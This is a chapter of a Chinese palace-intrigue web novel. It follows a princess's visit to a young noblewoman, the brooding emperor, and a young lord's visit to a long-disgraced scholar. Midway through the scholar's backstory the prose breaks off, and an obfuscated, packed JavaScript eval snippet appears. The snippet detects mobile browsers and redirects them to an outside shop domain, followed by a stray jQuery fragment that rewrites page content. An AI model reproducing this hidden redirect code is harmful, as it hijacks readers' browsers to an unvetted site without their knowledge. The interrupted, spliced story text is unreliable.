蔺重凰对着洛英讪笑了一下,心中已经在思考傍晚回去要如何膈应一下宁渠。
“你怎的独自邀了长公主殿下,我家府邸明明同你这郡主府只隔了一条街,竟也不喊我!”洛英很是自然地走到一旁的圈椅上坐下,将手中提的食盒搁在一旁,“亏我还专程走了一趟,为你提了馥郁堂十三楼里的一品锅过来。”
安槿闻言翻了个白眼:“你若要来早便来了,先前怎不见你来我府中时为我拿什么饭食,分明是见国公府的轿子停在我家门前,想来又怕我调侃你,才临时差人跑腿提了东西。”
见二人只是拌嘴,猜想安槿方才听到洛英前来会不高兴大抵也是因为朋友间赌气,蔺重凰便适时开口:“见了洛二小姐带的一品锅,本宫方才想起,今日前来也为郡主备了礼,还需郡主差人去我那轿中取一趟。”
安槿闻言停嘴,面上带了喜色,一边说着“诶呀是我邀嫂嫂来怎可劳烦嫂嫂为我准备东西”,一边喜滋滋的喊来了侍女:“去长公主殿下轿前,让候轿的侍女帮你拿出来,路上小心,莫要磕了碰了。”
侍女很快回来,手中捧了一个紫檀木雕花漆盒,安槿嫌她动作慢,起身快步取了过来。
“嫂嫂,我现在可以打开吗?”
安槿将漆盒置于桌上,满眼期待地望向蔺重凰。
“当然。”蔺重凰失笑。
安槿小心翼翼地开了锁扣,掀开盖便看到一对粉玉的叮当镯和一枚珊瑚制镶白玉的桃红色扳指。
“嫂嫂此番破费了,”她没有拿出来细看,只用指尖抚了抚陷在丝绸衬布中的物件,“这等纯净的料子……我甚是喜欢,多谢嫂嫂了。”
安槿依依不舍的合上盖子,将其放到一旁,说话间眼神还时不时地飘过去。
“见你喜欢我便放心了。”
“只要是殿下您送的,承晏什么都喜欢。”洛英促狭道,果不其然又收获了安槿一枚眼刀。
“哦?”蔺重凰像是被挑起了好奇心,“今日应当是我与郡主第一次见面,洛二小姐此话何以见得?”
她方才到时安槿拉着她的手夸她“长得真好看”,这般夸奖多数是初见时所用,且今日午间宁渠还为她讲了许多千奇百怪的“郡主坊间秘闻”,言语间也默认了她们二人今日是初次会面,怎的听洛英这话,倒像是安槿早先已与她相识。
“殿下有所不知,”洛英仿佛憋着笑,“她呀,自去年宫中宴席上见了殿下一面,那段时间逢人便说殿下是天仙一般的女子,言语间每每现痴汉状,坊间不知这承晏郡主说的是谁,只道是对女子犯了相思病,还因此事传出了她有磨镜之好的传言,京中有名的媒人差点也要为她牵线了。
“幸而此事本就是无稽之谈,传着传着没了下文,百姓被其他奇闻轶事引去了视线,便不再有人多嘴了。”
还是有的,蔺重凰淡淡地想,不仅有,还眼看就要著成《承晏郡主坊间秘闻大全》登书局发布了。
“原来还有这等逸事,可惜本宫先前未曾与郡主见上一面,不然定是能处成闺中密友的。”蔺重凰带着笑,视线划过洛英落在了安槿有些泛红的脸上。
洛英讲话时安槿只顾着将自己的脸埋起来,并未注意到洛英正直直地盯着蔺重凰,这一行径并不合礼法,而洛英显然并非蓄意犯蠢之人。
那便是话里藏着东西了。
蔺重凰垂下眸,饮去了琉璃杯中的残酒,安槿见了忙要添上,蔺重凰抬手止住了她。
“郡主,我见天色不早,也是时候告辞了。”见安槿面上浮起几分惴惴,蔺重凰有些好笑地宽慰道:“并非是因洛二小姐所讲的传闻,是驸马今日于我出门前嘱咐我务必早回一些。”
安槿神色几经变换,最终停在了“没有想到宁家兄长成婚后这般黏人”上。
“本宫有一不情之请。”
“嫂嫂请讲。”
“本宫尝着郡主这酒,味甜而少涩,不知是自何处购置?本宫也想差人去买两坛。”蔺重凰忽然想起宁渠版“承晏郡主坊间秘闻”里第三条说郡主是个酒鬼,试探着开口询问。
“嫂嫂也喜欢这酒吗?”安槿又雀跃着站起身来,“这酒是我去年自己酿的,嫂嫂喜欢,我这便亲自给嫂嫂挑两坛带回去!”
蔺重凰看着安槿一蹦一跳走远的背影,回过头,正撞上洛英带笑的眼睛。
“我与长公主殿下一道走吧。”她道。
蔺重凰轻轻颔首。
——
长清宫。
“陛下,长公主今日去了承晏郡主府上。”
“只她们二人?”
“还有洛家二小姐,只不过洛家二小姐是后来到的,之后又与长公主一道从郡主府离开了。”
“……”
蔺承箴坐在帐中,手中把玩着白玉扳指,一张脸都隐进了帘帐的阴影下。
“听府里的下人说,长公主与郡主……”
“下去吧。”
“啊、是……”
地上跪着说话的人卡了下壳,随即从善如流的起身退了出去。
一时间,长清宫中变得寂静,只剩蔺承箴几不可闻的呼吸声。不知过了多久,他忽然哼笑了一声,随即响起一道轻地仿佛能被吹散的声音。
“朝露待日晞啊,皇姐……”
——
安槿遣人传信说蔺重凰已经从她府上离开时,宁渠也刚从岑玉山的宅子里出来。
岑玉山,岑玉山。
宁渠由人扶着上轿,靠在垫了软枕的靠垫上,闭上眼睛,在心里默念了几遍这个老状元的名字。
岑玉山如今已近古稀之年,而他殿试批下状元那年,是元顺十七年,那年他十七岁。
始皇重科举,登基以来一直在完善尚有缺陷的科举制度,甚至在国家安定下来之后,自元顺十年起很长一段时间的殿试题都是同科举本身相关的。
文人入仕不如武将一般,有志者自寻征兵之处参军,场上杀敌拿命立功。
文人若想为官,基本只有两条路:一是科举中第,二是朝廷命官举荐;两相对比之下,科举如万人行独木桥,反倒是拿着拜帖求人举荐更容易出头。
可官员手中名额有限,为何要为这许多名不见经传的小小文人做人情?
于是一群想卖命都无处使的人又只能兜头回去挤那独木桥。
直到元顺十七年。
那年不知自哪个犄角旮旯出了个白面状元岑玉山,年方十七,与大顺同龄。
玉山那时光风霁月,春风得意,一堂殿试之上,敢与皇帝叫板,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766475|209716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
敢对宰相横眉,还硬生生越过了两位早在地方小有名气的文士,坐上了状元之位。
这需得是文曲星下凡吧?才让这名不见经传的少年着上了簪花与披红。
可惜,可惜。
“几回天上葬神仙……漏声相将无断绝啊……葬神仙!葬!葬!葬!”
老人浑浊激昂的声音仍在不断回响,宁渠眸中染上郁色。
可惜什么呢?
是可惜这曾于朝中掷下豪言壮语、励志为天下文人挣得广厦千万间的玉山早已忘了初心;还是可惜这年仅十七便连中三元的状元,疯疯癫癫二十余年,被生生困在活人加起来凑不上十个数的状元府邸中。
最终也没落得个体面下场。
宁渠面色复杂的捻着手中珠串——这还是他离开时状元府的老管家跑出来塞到他手里的。
“宁小公爷。”老管家腿脚有些慢,拖着一条有些瘸的腿吭哧吭哧地追来。
宁渠听到声音,招手让小厮停下,便见这个满脸沟壑的老人冲他笑了一下,又走快了几步。
“小公爷,给。”他伸出手,掌心是一枚不大的锦盒。
似是见宁渠没接,他有些窘迫道:“老爷这些日偶有清醒之时,念着老国公和国公夫人,只是状元府实在有些、有些拮据,只寻到两串当年赏下来的白玉手串……”老管家嗫嚅了几息,终究只说出一句:“还求小公爷收下吧。”
宁渠默了默,抬手拿过了锦盒。
“温叔。”他喊。
老管家干涩的眼中几乎是瞬间漫上一层雾气。
“我收下了,您回吧。”
“哎、哎……”老管家一步三回头地进了府门
状元府掉了漆的朱红大门又如往常一般死气沉沉地合上了。
宁渠本是想去馥郁堂找人,但状元府正坐落于镇南国公府去馥郁堂的必经之路上。途径状元府时,他便鬼使神差一般喊停了马车。
念头起的突然,他并未带去什么东西。状元府破落已久,他走这一趟不仅没有帮衬什么,反倒是带走人家两串白玉珠。
宁渠抬手掀起轿帘,敲了敲窗边,对一旁跟着的小厮吩咐道:“明日带些米面粮油和衣裳布匹送去岑府。”
小厮应了声是。
宁渠又躺回了靠背上闭目养神,手里仍摩挲着那圆润的珠串。
——
蔺重凰与宁渠的马车恰好一前一后到了国公府。
见到宁渠也从马车上下来时,蔺重凰心下还有几分新奇——蔺承箴特批了宁渠可以在家中休养生息,不来参加朝会;再加上宁渠本身不良于行,是以蔺重凰极少见他出门。
大部分情况都是别人前来拜访他,或是他干脆整日都坐在书房中,把门一关,谁都不知道他在干什么。
说不定是在想着怎么做一些大逆不道的事呢?
蔺重凰腹诽着,见宁渠朝自己走过来,又换上一副笑脸。
“随我到书房来。”
蔺重凰本以为此人又要像先前一般冲她大肆打一番哑谜,谁承想今日竟是同她直说了。
蔺重凰跟着宁渠进了“宁小公爷大逆不道专用场所”,刚坐下,便听到他开口。
“你可认得今年三月刚过了殿试的孟、颜、柳三人?”